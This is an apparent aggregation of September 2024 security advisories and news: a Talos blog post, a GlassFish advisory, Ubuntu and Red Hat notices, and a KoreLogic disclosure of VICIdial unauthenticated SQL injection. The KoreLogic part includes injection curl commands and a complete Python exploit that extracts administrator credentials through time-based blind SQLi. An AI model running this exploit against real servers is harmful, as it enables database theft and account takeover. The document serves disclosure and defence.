CVE-2024-38257 is considered “less likely” to be exploited, though it does not require any user interaction or user privileges.

**Vulnerability in Acrobat Reader could lead to remote code execution; Microsoft patches information disclosure issue in Windows API**

Wednesday, September 11, 2024 12:00

Cisco Talos’ Vulnerability Research team discovered two vulnerabilities have been disclosed and fixed over the past few weeks. 

Talos discovered a time-of-check time-of-use vulnerability in Adobe Acrobat Reader, one of the most popular PDF readers currently available, and an information disclosure vulnerability in the Microsoft Windows AllJoyn API. 

For Snort coverage that can detect the exploitation of these vulnerabilities, download the latest rule sets from Snort.org, and our latest Vulnerability Advisories are always posted on Talos Intelligence’s website. 

**Microsoft AllJoyn API information disclosure vulnerability **

   
The AllJoyn API in some versions of the Microsoft Windows operating system contains an information disclosure vulnerability. 

TALOS-2024-1980 (CVE-2024-38257) could allow an adversary to view uninitialized memory on the targeted machine. 

AllJoyn is a DCOM-like framework for creating method calls or sending one-way signals between applications on a distributed bus. It primarily is used in internet-of-things (IoT) devices to tell the devices to perform certain tasks, like turning lights on or off or reading the temperature of a space. 

Microsoft fixed this issue as part of its monthly security update on Tuesday. For more on Patch Tuesday, read Talos’ blog here. 

CVE-2024-38257 is considered “less likely” to be exploited, though it does not require any user interaction or user privileges.   

**Adobe Acrobat Reader annotation object page race condition  **

_Discovered by KPC._ 

Adobe Acrobat Reader, one of the most popular pieces of PDF reading software currently available, contains a time-of-check, use-after-free vulnerability that could trigger memory corruption, and eventually, arbitrary code execution. 

TALOS-2024-2011 (CVE-2024-39420) can be executed if an adversary tricks a targeted user into opening a specially crafted PDF file with malicious JavaScript embedded. This JavaScript could then trigger memory corruption due to a race condition.  

Depending on the memory layout of the process this vulnerability affects, it may be possible to abuse this vulnerability for arbitrary read and write access, which could ultimately be abused to achieve arbitrary code execution.

Vulnerability in Acrobat Reader could lead to remote code execution; Microsoft patches information disclosure issue in Windows API

In Eclipse Glassfish versions prior to 7.0.10, a URL redirection vulnerability to untrusted sites existed.
This vulnerability is caused by the vulnerability (CVE-2023-41080) in the Apache code included in GlassFish.
This vulnerability only affects applications that are explicitly deployed to the root context ('/').

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.

Attack complexity: More severe for the least complex attacks.

Privileges required: More severe if no privileges are required.

User interaction: More severe when no user interaction is required.

Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.

Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.

Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.

Availability: More severe when the loss of impacted component availability is highest.

GHSA-7gq2-vwq9-w8vw: Eclipse Glassfish URL redirection vulnerability

An attacker with authenticated access to VICIdial version 2.14-917a as an agent can execute arbitrary shell commands as the root user. This attack can be chained with CVE-2024-8503 to execute arbitrary shell commands starting from an unauthenticated perspective.

VICIdial 2.14-917a Remote Code Execution

An unauthenticated attacker can leverage a time-based SQL injection vulnerability in VICIdial version 2.14-917a to enumerate database records. By default, VICIdial stores plaintext credentials within the database.

    KL-001-2024-011: VICIdial Unauthenticated SQL InjectionTitle: VICIdial Unauthenticated SQL InjectionAdvisory ID: KL-001-2024-011Publication Date: 2024-09-10Publication URL: https://korelogic.com/Resources/Advisories/KL-001-2024-011.txt1. Vulnerability Details      Affected Vendor: VICIdial      Affected Product: VICIdial      Affected Version: 2.14-917a      Platform: GNU/Linux      CWE Classification: CWE-89: Improper Neutralization of Special                          Elements used in an SQL Command                          ('SQL Injection')      CVE ID: CVE-2024-85032. Vulnerability Description      An unauthenticated attacker can leverage a time-based SQL      injection vulnerability in VICIdial to enumerate database      records. By default, VICIdial stores plaintext credentials      within the database.3. Technical Description      VICIdial is an open-source contact center suite, mainly used      by call centers. The "vicidial.com" website boasts over 14,000      registered installations. There is a public SVN repository to      access the source code, as well as an ISO that can be used to      install the software. The ISO was used in a virtual machine      for testing purposes.      When performing SQL queries, VICIdial does not use prepared      statements, but instead uses the "preg_replace" PHP function      to remove problematic characters in user-controlled input      before interpolating the variable into a SQL query. This      is largely an effective solution, as regular expressions      like "/[^-_0-9a-zA-Z]/" are passed to "preg_replace", which      essentially limits input to the characters shown in the pattern      (letters, numbers, underscores, and hyphens).      However, these scripts do not utilize a shared PHP file      for performing sanitization uniformly. Instead, each script      individually implements the "preg_replace" function, leading      to inconsistencies in which patterns are used and where they      are applied.      For example, providing credentials via the "Authorization"      request header using the "Basic" scheme, most PHP scripts      sanitize the username value with the following line:     $PHP_AUTH_USER = preg_replace('/[^-_0-9a-zA-Z]/','',$PHP_AUTH_USER);      However, the "VERM_AJAX_functions.php" PHP script does not      perform any sanitization before inserting the username into      a SQL "INSERT" statement:     $PHP_AUTH_USER=$_SERVER['PHP_AUTH_USER'];     $PHP_AUTH_PW=$_SERVER['PHP_AUTH_PW'];     ...     if ($function=="log_custom_report")       {       $rpt_log_stmt="insert ignore into         verm_custom_report_holder(user,         report_name, report_parameters)         values('$PHP_AUTH_USER', '$custom_report_name',         '$LOGhttp_referer') ON DUPLICATE KEY         UPDATE report_name='$custom_report_name',         report_parameters='$custom_report_vars'";       $rpt_log_rslt=mysql_to_mysqli($rpt_log_stmt, $link);       return mysqli_affected_rows($rpt_log_rslt);       }      Since "VERM_AJAX_functions.php" can be accessed without      authentication, this creates a straight forward unauthenticated      SQL injection vulnerability. While the page response cannot      be manipulated by the execution of the query, delays in the      page response can be observed when using SQL functions such as      "sleep()", enabling the enumeration of database values using      time-based SQL injection:     $ time curl -u "foo:bar" \  http://REDACTED/VERM/VERM_AJAX_functions.php?function=log_custom_report     real    0m0.019s   <--- (normal response time)     user    0m0.004s     sys    0m0.008s     $ time curl -u "','',sleep(5));#:bar" \  http://REDACTED/VERM/VERM_AJAX_functions.php?function=log_custom_report     real    0m5.023s   <--- (5-second delay in response time)     user    0m0.003s     sys    0m0.008s      This observable difference can be used to craft queries that      sleep under specific conditions, allowing an attacker to ask      "Yes or No" questions. In the following example, the "sleep()"      function is called only if the provided string matches the      database version:     $ time curl -u \         "','',IF(@@version='korelogic',sleep(5),NULL));#:bar" \  http://vicidial.zz/VERM/VERM_AJAX_functions.php?function=log_custom_report     real    0m0.024s   <--- (normal response time)     user    0m0.006s     sys    0m0.003s     $ time curl -u \  "','',IF(@@version='10.6.14-MariaDB-log',sleep(5),NULL));#:bar" \  http://vicidial.zz/VERM/VERM_AJAX_functions.php?function=log_custom_report     real    0m5.019s   <--- (5-second delay in response time)     user    0m0.004s     sys    0m0.008s4. Mitigation and Remediation Recommendation      This issue has been remediated in the public svn/trunk codebase,      as of revision 3848 committed 2024-07-08.5. Credit      This vulnerability was discovered by Jaggar Henry of KoreLogic,      Inc.6. Disclosure Timeline      2024-07-05 : KoreLogic requests security contact from                   support@vicidial.com.      2024-07-08 : KoreLogic reports vulnerability details to VICIdial                   contact.      2024-07-08 : VICIdial notifies KoreLogic that the issue has been                   remediated with revision 3848 in the public                   Subversion repository.      2024-07-11 : KoreLogic confirms this vulnerability has been                   remediated. KoreLogic asks VICIdial if it is                   appropriate to publicly disclose the vulnerability                   details at this time.      2024-07-11 : VICIdial requests four weeks of embargo in order to                   upgrade supported customers.      2024-08-05 : KoreLogic asks VICIdial if it is appropriate to                   publicly disclose the vulnerability details at                   this time.      2024-08-09 : VICIdial requests an additional two weeks of                   embargo.      2024-09-10 : KoreLogic public disclosure.7. Proof of Concept      The following script can be used to automate the exploitation process and      enumerate the results of provided queries:          $ time python unauth_sqli.py -rh vicidial.zz -rp 443 -q 'SELECT @@version'          [+] Target appears vulnerable to time-based SQL injection          [~] Executing SQL: SELECT @@version          [~] 1          [~] 10          [~] 10.          [~] 10.6          [~] 10.6.          [~] 10.6.1          [~] 10.6.14          [~] 10.6.14-          [~] 10.6.14-M          [~] 10.6.14-Ma          [~] 10.6.14-Mar          [~] 10.6.14-Mari          [~] 10.6.14-Maria          [~] 10.6.14-MariaD          [~] 10.6.14-MariaDB          [~] 10.6.14-MariaDB-          [~] 10.6.14-MariaDB-l          [~] 10.6.14-MariaDB-lo          [~] 10.6.14-MariaDB-log          real    0m6.727s          user    0m0.425s          sys    0m0.020s      ##############################      ##      unauth_sqli.py      ##      ##############################      import string      import random      import urllib3      import argparse      import requests      from base64 import b64encodeurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)      class Exploit:          def __init__(self, rhost, rport, proxy=None):              """              This 'sleep' duration is derived by the average response time              multiplied by this value. A server with an average response time              of 10ms is given a 'sleep' duration of 300ms. Tune as needed.              """              self.SLEEP_MULTIPLIER = 30              self.REQUEST_HEADERS = {'User-Agent': 'KoreLogic'}              self.ALLOWED_SCHEMES = ['http', 'https']              if proxy:                  self.REQUEST_PROXIES = {                      'http':  proxy,                      'https': proxy                  }              else:                  self.REQUEST_PROXIES = {}              self.TARGET_IP   = rhost              self.TARGET_PORT = rport              self.VICIDIAL_FINGERPRINT = 'Please Hold while I redirect you!'              self.RANDOM_CHARSET = string.ascii_uppercase + string.digits          # returns a URI with 'http' or 'https'          def determine_target_uri(self):              for scheme in self.ALLOWED_SCHEMES:                  target_uri = f'{scheme}://{self.TARGET_IP}:{self.TARGET_PORT}'                  try:                      response = requests.get(target_uri, headers=self.REQUEST_HEADERS, verify=False)                      if self.VICIDIAL_FINGERPRINT in response.text:                          return target_uri                  except:                      pass          # returns a session object with custom proxies/headers if supplied          def build_requests_session(self):              self.base_uri = self.determine_target_uri()              session = requests.Session()              session.proxies = self.REQUEST_PROXIES              session.verify  = False              return session          # returns a random string of a given length          def random(self, length):              return ''.join(random.choice(self.RANDOM_CHARSET) for _ in range(length))          # returns a timedelta representing the response time of an injected SQL query          def time_sql_query(self, query, session):              username    = f"goolicker', '', ({query}));# "              credentials = f'{username}:password'              credentials_base64 = b64encode(credentials.encode()).decode()              auth_header = f'Basic {credentials_base64}'              target_uri = f'{self.base_uri}/VERM/VERM_AJAX_functions.php'              request_params  = {'function': 'log_custom_report', self.random(5): self.random(5)}              request_headers = {**self.REQUEST_HEADERS, 'Authorization': auth_header}              response = session.get(target_uri, params=request_params, headers=request_headers)              return response.elapsed          # returns a boolean if time-based SQL injection is possible, additionally          # sets the best 'sleep' duration based on response times          def is_vulnerable(self, session, baseline_iterations=5):              # determine average baseline response time              zero_sleep_query = f'SELECT (NULL)'              total_baseline_time = 0              for _ in range(baseline_iterations):                  execution_time = self.time_sql_query(zero_sleep_query, session)                  total_baseline_time += execution_time.total_seconds()              average_baseline_response_time = total_baseline_time / baseline_iterations              self.sql_baseline_time = average_baseline_response_time              # determine if injected sleep query impacts response time              sleep_length = round(average_baseline_response_time * self.SLEEP_MULTIPLIER, 2)              sleep_query  = f'SELECT (sleep({sleep_length}))'              execution_time = self.time_sql_query(sleep_query, session)              if execution_time.total_seconds() >= sleep_length:                  self.sql_sleep_length = sleep_length                  return True              else:                  return False          # determine if a character at a specific indice of a query result returns a          # boolean 'true' when compared to a given character using the supplied operator          def check_indice_of_query_result(self, session, query, indice, operator, ordinal):              parent_query    = f'SELECT IF(ORD((SUBSTRING(({query}), {indice}, {indice}))){operator}{ordinal}, sleep({self.sql_sleep_length}), null)'              execution_time  = self.time_sql_query(parent_query, session)              return execution_time.total_seconds() >= (self.sql_baseline_time * self.SLEEP_MULTIPLIER)          def enumerate_sql_query(self, session, query='SELECT @@version', charset=string.printable):              # convert charset to ordinals              all_characters     = sorted([ord(char) for char in charset])              reduced_characters = all_characters              # use a binary search and enumerate query results              result = ''              indice = 1              indice_could_be_null = True              while True:                  """                  we check if the value is NULL once per indice                  to determine when a string ends. this adds one                  request per indice, but since every boolean 'true'                  results in a delay this is faster than counting                  the length of the string before enumrating.                  """                  if indice_could_be_null:                      if self.check_indice_of_query_result(session, query, indice, '=', '0'):                          break                      else:                          indice_could_be_null = False                  # enumerate each character of query result with a binary search                  middle_indice  = len(reduced_characters) // 2                  middle_ordinal = reduced_characters[middle_indice]                  if self.check_indice_of_query_result(session, query, indice, '<=', middle_ordinal):                      if self.check_indice_of_query_result(session, query, indice, '=', middle_ordinal):                          reduced_characters = all_characters                          result += chr(middle_ordinal)                          indice += 1                          indice_could_be_null = True                          print(f'[~] {result}')                      else:                          reduced_characters = reduced_characters[:middle_indice]                  else:                      reduced_characters = reduced_characters[middle_indice:]              return result          # returns administrator username and password by          # exploiting time-based SQL injection.          def extract_admin_credentials(self, session):              print('[~] Enumerating administrator credentials')              username_charset = string.ascii_letters + string.digits              admin_username_query = "SELECT user FROM vicidial_users WHERE user_level = 9 AND modify_same_user_level = '1' LIMIT 1"              admin_username = self.enumerate_sql_query(session, admin_username_query, username_charset)              print(f'[+] Username: {admin_username}')              password_charset = string.ascii_letters + string.digits + '-.+/=_'              admin_password_query = f"SELECT pass FROM vicidial_users WHERE user = '{admin_username}' LIMIT 1"              admin_password = self.enumerate_sql_query(session, admin_password_query, password_charset)              print(f'[+] Password: {admin_password}')              return admin_username, admin_password          # injects SQL queries and enumerates results if instance is vulnerable          def exploit(self, custom_query=None):              session = self.build_requests_session()              is_vulnerable = self.is_vulnerable(session)              if is_vulnerable:                  print('[+] Target appears vulnerable to time-based SQL injection')              else:                  print('[-] Failed to perform time-based SQL injection')                  return              if custom_query:                  print(f'[~] Executing SQL: {custom_query}')                  self.enumerate_sql_query(session, custom_query)              else:                  self.extract_admin_credentials(session)      if __name__ == '__main__':          argparser = argparse.ArgumentParser(description='Exploit for CVE-2024-XXXXX: Unauthenticated SQLi')          required  = argparser.add_argument_group('Required Arguments')          optional  = argparser.add_argument_group('Optional Arguments')          required.add_argument('-rh', '--rhost', required=True, help='Vicidial Server IP address')          required.add_argument('-rp', '--rport', required=True, help='Vicidial Server port number')          optional.add_argument('-q',  '--query', required=False, help='Custom SQL query to execute',                default=None)          optional.add_argument('-p',  '--proxy', required=False, help='HTTP[S] proxy to use for outbound requests', default=None)          arguments = argparser.parse_args()          exploit = Exploit(              rhost = arguments.rhost,              rport = arguments.rport,              proxy = arguments.proxy          )          exploit.exploit(custom_query=arguments.query)The contents of this advisory are copyright(c) 2024KoreLogic, Inc. and are licensed under a Creative CommonsAttribution Share-Alike 4.0 (United States) License:http://creativecommons.org/licenses/by-sa/4.0/KoreLogic, Inc. is a founder-owned and operated company with aproven track record of providing security services to entitiesranging from Fortune 500 to small and mid-sized companies. Weare a highly skilled team of senior security consultants doingby-hand security assessments for the most important networks inthe U.S. and around the world. We are also developers of varioustools and resources aimed at helping the security community.https://www.korelogic.com/about-korelogic.htmlOur public vulnerability disclosure policy is available at:https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy

VICIdial 2.14-917a SQL Injection

Ubuntu Security Notice 6998-1 - It was discovered that Unbound incorrectly handled string comparisons, which could lead to a NULL pointer dereference. An attacker could potentially use this issue to cause a denial of service. It was discovered that Unbound incorrectly handled memory in cfg_mark_ports, which could lead to a heap buffer overflow. A local attacker could potentially use this issue to cause a denial of service or execute arbitrary code.

==========================================================================  
Ubuntu Security Notice USN-6998-1  
September 11, 2024

unbound vulnerabilities  
==========================================================================

A security issue affects these releases of Ubuntu and its derivatives:

- Ubuntu 24.04 LTS  
- Ubuntu 22.04 LTS  
- Ubuntu 20.04 LTS  
- Ubuntu 18.04 LTS  
- Ubuntu 16.04 LTS  
- Ubuntu 14.04 LTS

Summary:

Several security issues were fixed in Unbound.

Software Description:  
- unbound: validating, recursive, caching DNS resolver

Details:

It was discovered that Unbound incorrectly handled string comparisons,  
which could lead to a NULL pointer dereference. An attacker could  
potentially use this issue to cause a denial of service. (CVE-2024-43167)

It was discovered that Unbound incorrectly handled memory in  
cfg_mark_ports, which could lead to a heap buffer overflow. A local  
attacker could potentially use this issue to cause a denial of service  
or execute arbitrary code. (CVE-2024-43168)

Update instructions:

The problem can be corrected by updating your system to the following  
package versions:

Ubuntu 24.04 LTS  
   libunbound8                     1.19.2-1ubuntu3.2  
   unbound                         1.19.2-1ubuntu3.2  
   unbound-host                    1.19.2-1ubuntu3.2

Ubuntu 22.04 LTS  
   libunbound8                     1.13.1-1ubuntu5.7  
   unbound                         1.13.1-1ubuntu5.7  
   unbound-host                    1.13.1-1ubuntu5.7

Ubuntu 20.04 LTS  
   libunbound8                     1.9.4-2ubuntu1.8  
   unbound                         1.9.4-2ubuntu1.8  
   unbound-host                    1.9.4-2ubuntu1.8

Ubuntu 18.04 LTS  
   libunbound2                     1.6.7-1ubuntu2.6+esm2  
                                   Available with Ubuntu Pro  
   unbound                         1.6.7-1ubuntu2.6+esm2  
                                   Available with Ubuntu Pro  
   unbound-host                    1.6.7-1ubuntu2.6+esm2  
                                   Available with Ubuntu Pro

Ubuntu 16.04 LTS  
   libunbound2                     1.5.8-1ubuntu1.1+esm1  
                                   Available with Ubuntu Pro  
   unbound                         1.5.8-1ubuntu1.1+esm1  
                                   Available with Ubuntu Pro  
   unbound-host                    1.5.8-1ubuntu1.1+esm1  
                                   Available with Ubuntu Pro

Ubuntu 14.04 LTS  
   libunbound2                     1.4.22-1ubuntu4.14.04.3+esm1  
                                   Available with Ubuntu Pro  
   unbound                         1.4.22-1ubuntu4.14.04.3+esm1  
                                   Available with Ubuntu Pro  
   unbound-host                    1.4.22-1ubuntu4.14.04.3+esm1  
                                   Available with Ubuntu Pro

In general, a standard system update will make all the necessary changes.

References:  
   https://ubuntu.com/security/notices/USN-6998-1  
   CVE-2024-43167, CVE-2024-43168

Package Information:  
   https://launchpad.net/ubuntu/+source/unbound/1.19.2-1ubuntu3.2  
   https://launchpad.net/ubuntu/+source/unbound/1.13.1-1ubuntu5.7  
   https://launchpad.net/ubuntu/+source/unbound/1.9.4-2ubuntu1.8

Ubuntu Security Notice USN-6998-1

Red Hat Security Advisory 2024-6576-03 - An update for the redhat-ds:11 module is now available for Red Hat Directory Server 11.7 for RHEL 8. Issues addressed include a denial of service vulnerability.

The following advisory data is extracted from:

https://access.redhat.com/security/data/csaf/v2/advisories/2024/rhsa-2024_6576.json

Red Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.

- Packet Storm Staff

====================================================================  
Red Hat Security Advisory

Synopsis:           Moderate: redhat-ds:11 security and bug fix update  
Advisory ID:        RHSA-2024:6576-03  
Product:            Red Hat Directory Server  
Advisory URL:       https://access.redhat.com/errata/RHSA-2024:6576  
Issue date:         2024-09-11  
Revision:           03  
CVE Names:          CVE-2024-3657  
====================================================================

Summary: 

An update for the redhat-ds:11 module is now available for Red Hat Directory Server 11.7 for RHEL 8.

Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.

Description:

Red Hat Directory Server is an LDAPv3-compliant directory server. The suite of packages includes the Lightweight Directory Access Protocol (LDAP) server, as well as command-line utilities and Web UI packages for server administration.

Security Fixes:

* 389-ds-base: Malformed userPassword hash may cause Denial of Service (CVE-2024-5953)

* 389-ds-base: Specially crafted kerberos AS-REQ request may cause Denial of Service (CVE-2024-3657)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Bug Fix(es):

* Improved performance of filter component when evaluating a large value  
set, such as group members  (DIRSRV-153)

* The new connection timeout error no longer breaks error mapping (DIRSRV-154)

Users of Red Hat Directory Server 11 are advised to install these updated packages.

Solution:

https://access.redhat.com/articles/11258

CVEs:

CVE-2024-3657

References:

https://access.redhat.com/security/updates/classification/#moderate  
https://bugzilla.redhat.com/show_bug.cgi?id=2274401  
https://bugzilla.redhat.com/show_bug.cgi?id=2292104

Red Hat Security Advisory 2024-6576-03

Red Hat Security Advisory 2024-6569-03 - An update for the 389-ds:1.4 module is now available for Red Hat Enterprise Linux 8. Issues addressed include a denial of service vulnerability.

    The following advisory data is extracted from:https://access.redhat.com/security/data/csaf/v2/advisories/2024/rhsa-2024_6569.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Moderate: 389-ds:1.4 security updateAdvisory ID:        RHSA-2024:6569-03Product:            Red Hat Enterprise LinuxAdvisory URL:       https://access.redhat.com/errata/RHSA-2024:6569Issue date:         2024-09-11Revision:           03CVE Names:          CVE-2024-5953====================================================================Summary: An update for the 389-ds:1.4 module is now available for Red Hat Enterprise Linux 8.Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:389 Directory Server is an LDAP version 3 (LDAPv3) compliant server. The base packages include the Lightweight Directory Access Protocol (LDAP) server and command-line utilities for server administration. Security Fix(es):* 389-ds-base: Malformed userPassword hash may cause Denial of Service (CVE-2024-5953)For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.Solution:https://access.redhat.com/articles/11258CVEs:CVE-2024-5953References:https://access.redhat.com/security/updates/classification/#moderatehttps://bugzilla.redhat.com/show_bug.cgi?id=2292104

Red Hat Security Advisory 2024-6569-03

Red Hat Security Advisory 2024-6568-03 - An update for the redhat-ds:11 module is now available for Red Hat Directory Server 11.9 for RHEL 8.10. Issues addressed include a denial of service vulnerability.

    The following advisory data is extracted from:https://access.redhat.com/security/data/csaf/v2/advisories/2024/rhsa-2024_6568.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Moderate: redhat-ds:11 security and bug fix updateAdvisory ID:        RHSA-2024:6568-03Product:            Red Hat Directory ServerAdvisory URL:       https://access.redhat.com/errata/RHSA-2024:6568Issue date:         2024-09-11Revision:           03CVE Names:          CVE-2024-5953====================================================================Summary: An update for the redhat-ds:11 module is now available for Red Hat Directory Server 11.9 for RHEL 8.10.Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:Red Hat Directory Server is an LDAPv3-compliant directory server. The suite of packages includes the Lightweight Directory Access Protocol (LDAP) server, as well as command-line utilities and Web UI packages for server administration.Security Fixes:* 389-ds-base: Malformed userPassword hash may cause Denial of Service (CVE-2024-5953) (DIRSRV-151)For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.Bug Fix(es):* Improved performance of filter component when evaluating a large value set, such as group members (DIRSRV-149)* The new connection timeout error no longer breaks error mapping (DIRSRV-150)Users of Red Hat Directory Server 11 are advised to install these updated packages.Solution:https://access.redhat.com/articles/11258CVEs:CVE-2024-5953References:https://access.redhat.com/security/updates/classification/#moderatehttps://bugzilla.redhat.com/show_bug.cgi?id=2292104

Red Hat Security Advisory 2024-6568-03

Red Hat Security Advisory 2024-6567-03 - An update for kernel is now available for Red Hat Enterprise Linux 9. Issues addressed include double free, out of bounds access, and use-after-free vulnerabilities.

The following advisory data is extracted from:

https://access.redhat.com/security/data/csaf/v2/advisories/2024/rhsa-2024_6567.json

Red Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.

- Packet Storm Staff

====================================================================  
Red Hat Security Advisory

Synopsis:           Moderate: kernel security update  
Advisory ID:        RHSA-2024:6567-03  
Product:            Red Hat Enterprise Linux  
Advisory URL:       https://access.redhat.com/errata/RHSA-2024:6567  
Issue date:         2024-09-11  
Revision:           03  
CVE Names:          CVE-2023-52463  
====================================================================

Summary: 

An update for kernel is now available for Red Hat Enterprise Linux 9.

Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.

Description:

The kernel packages contain the Linux kernel, the core of any Linux operating system.

Security Fix(es):

* kernel: efivarfs: force RO when remounting if SetVariable is not supported (CVE-2023-52463)

* kernel: nfsd: fix RELEASE_LOCKOWNER (CVE-2024-26629)

* kernel: mm: cachestat: fix folio read-after-free in cache walk (CVE-2024-26630)

* kernel: mm/writeback: fix possible divide-by-zero in wb_dirty_limits(), again (CVE-2024-26720)

* kernel: Bluetooth: af_bluetooth: Fix deadlock (CVE-2024-26886)

* kernel: kprobes/x86: Use copy_from_kernel_nofault() to read from unsafe address (CVE-2024-26946)

* kernel: KVM: SVM: Flush pages under kvm->lock to fix UAF in svm_register_enc_region() (CVE-2024-35791)

* kernel: mm: cachestat: fix two shmem bugs (CVE-2024-35797)

* kernel: x86/coco: Require seeding RNG with RDRAND on CoCo systems (CVE-2024-35875)

* kernel: mm/hugetlb: fix missing hugetlb_lock for resv uncharge (CVE-2024-36000)

* kernel: iommufd: Fix missing update of domains_itree after splitting iopt_area (CVE-2023-52801)

* kernel: net: fix out-of-bounds access in ops_init (CVE-2024-36883)

* kernel: regmap: maple: Fix cache corruption in regcache_maple_drop() (CVE-2024-36019)

* kernel: usb-storage: alauda: Check whether the media is initialized (CVE-2024-38619)

* kernel: net: bridge: mst: fix vlan use-after-free (CVE-2024-36979)

* kernel: scsi: qedf: Ensure the copied buf is NUL terminated (CVE-2024-38559)

* kernel: xhci: Handle TD clearing for multiple streams case (CVE-2024-40927)

* kernel: cxl/region: Fix memregion leaks in devm_cxl_add_region() (CVE-2024-40936)

* kernel: net/sched: Fix UAF when resolving a clash (CVE-2024-41040)

* kernel: ppp: reject claimed-as-LCP but actually malformed packets (CVE-2024-41044)

* kernel: mm: prevent derefencing NULL ptr in pfn_section_valid() (CVE-2024-41055)

* kernel: PCI/MSI: Fix UAF in msi_capability_init (CVE-2024-41096)

* kernel: xdp: Remove WARN() from __xdp_reg_mem_model() (CVE-2024-42082)

* kernel: x86: stop playing stack games in profile_pc() (CVE-2024-42096)

* kernel: Revert "mm/writeback: fix possible divide-by-zero in wb_dirty_limits(), again" (CVE-2024-42102)

* kernel: mm: avoid overflows in dirty throttling logic (CVE-2024-42131)

* kernel: nvme: avoid double free special payload (CVE-2024-41073)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Solution:

https://access.redhat.com/articles/11258

CVEs:

CVE-2023-52463

References:

https://access.redhat.com/security/updates/classification/#moderate  
https://bugzilla.redhat.com/show_bug.cgi?id=2265797  
https://bugzilla.redhat.com/show_bug.cgi?id=2269434  
https://bugzilla.redhat.com/show_bug.cgi?id=2269436  
https://bugzilla.redhat.com/show_bug.cgi?id=2273141  
https://bugzilla.redhat.com/show_bug.cgi?id=2275678  
https://bugzilla.redhat.com/show_bug.cgi?id=2278206  
https://bugzilla.redhat.com/show_bug.cgi?id=2281052  
https://bugzilla.redhat.com/show_bug.cgi?id=2281151  
https://bugzilla.redhat.com/show_bug.cgi?id=2281727  
https://bugzilla.redhat.com/show_bug.cgi?id=2281968  
https://bugzilla.redhat.com/show_bug.cgi?id=2282709  
https://bugzilla.redhat.com/show_bug.cgi?id=2284271  
https://bugzilla.redhat.com/show_bug.cgi?id=2284402  
https://bugzilla.redhat.com/show_bug.cgi?id=2293273  
https://bugzilla.redhat.com/show_bug.cgi?id=2293276  
https://bugzilla.redhat.com/show_bug.cgi?id=2293440  
https://bugzilla.redhat.com/show_bug.cgi?id=2297511  
https://bugzilla.redhat.com/show_bug.cgi?id=2297520  
https://bugzilla.redhat.com/show_bug.cgi?id=2300409  
https://bugzilla.redhat.com/show_bug.cgi?id=2300414  
https://bugzilla.redhat.com/show_bug.cgi?id=2300429  
https://bugzilla.redhat.com/show_bug.cgi?id=2300491  
https://bugzilla.redhat.com/show_bug.cgi?id=2300520  
https://bugzilla.redhat.com/show_bug.cgi?id=2300713  
https://bugzilla.redhat.com/show_bug.cgi?id=2301465  
https://bugzilla.redhat.com/show_bug.cgi?id=2301496  
https://bugzilla.redhat.com/show_bug.cgi?id=2301637

Red Hat Security Advisory 2024-6567-03

Red Hat Security Advisory 2024-6560-03 - An update for kpatch-patch-4_18_0-477_43_1 and kpatch-patch-4_18_0-477_67_1 is now available for Red Hat Enterprise Linux 8.8 Extended Update Support. Issues addressed include a denial of service vulnerability.

    The following advisory data is extracted from:https://access.redhat.com/security/data/csaf/v2/advisories/2024/rhsa-2024_6560.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Important: kpatch-patch-4_18_0-477_43_1 and kpatch-patch-4_18_0-477_67_1 security updateAdvisory ID:        RHSA-2024:6560-03Product:            Red Hat Enterprise LinuxAdvisory URL:       https://access.redhat.com/errata/RHSA-2024:6560Issue date:         2024-09-10Revision:           03CVE Names:          CVE-2024-41090====================================================================Summary: An update for kpatch-patch-4_18_0-477_43_1 and kpatch-patch-4_18_0-477_67_1 is now available for Red Hat Enterprise 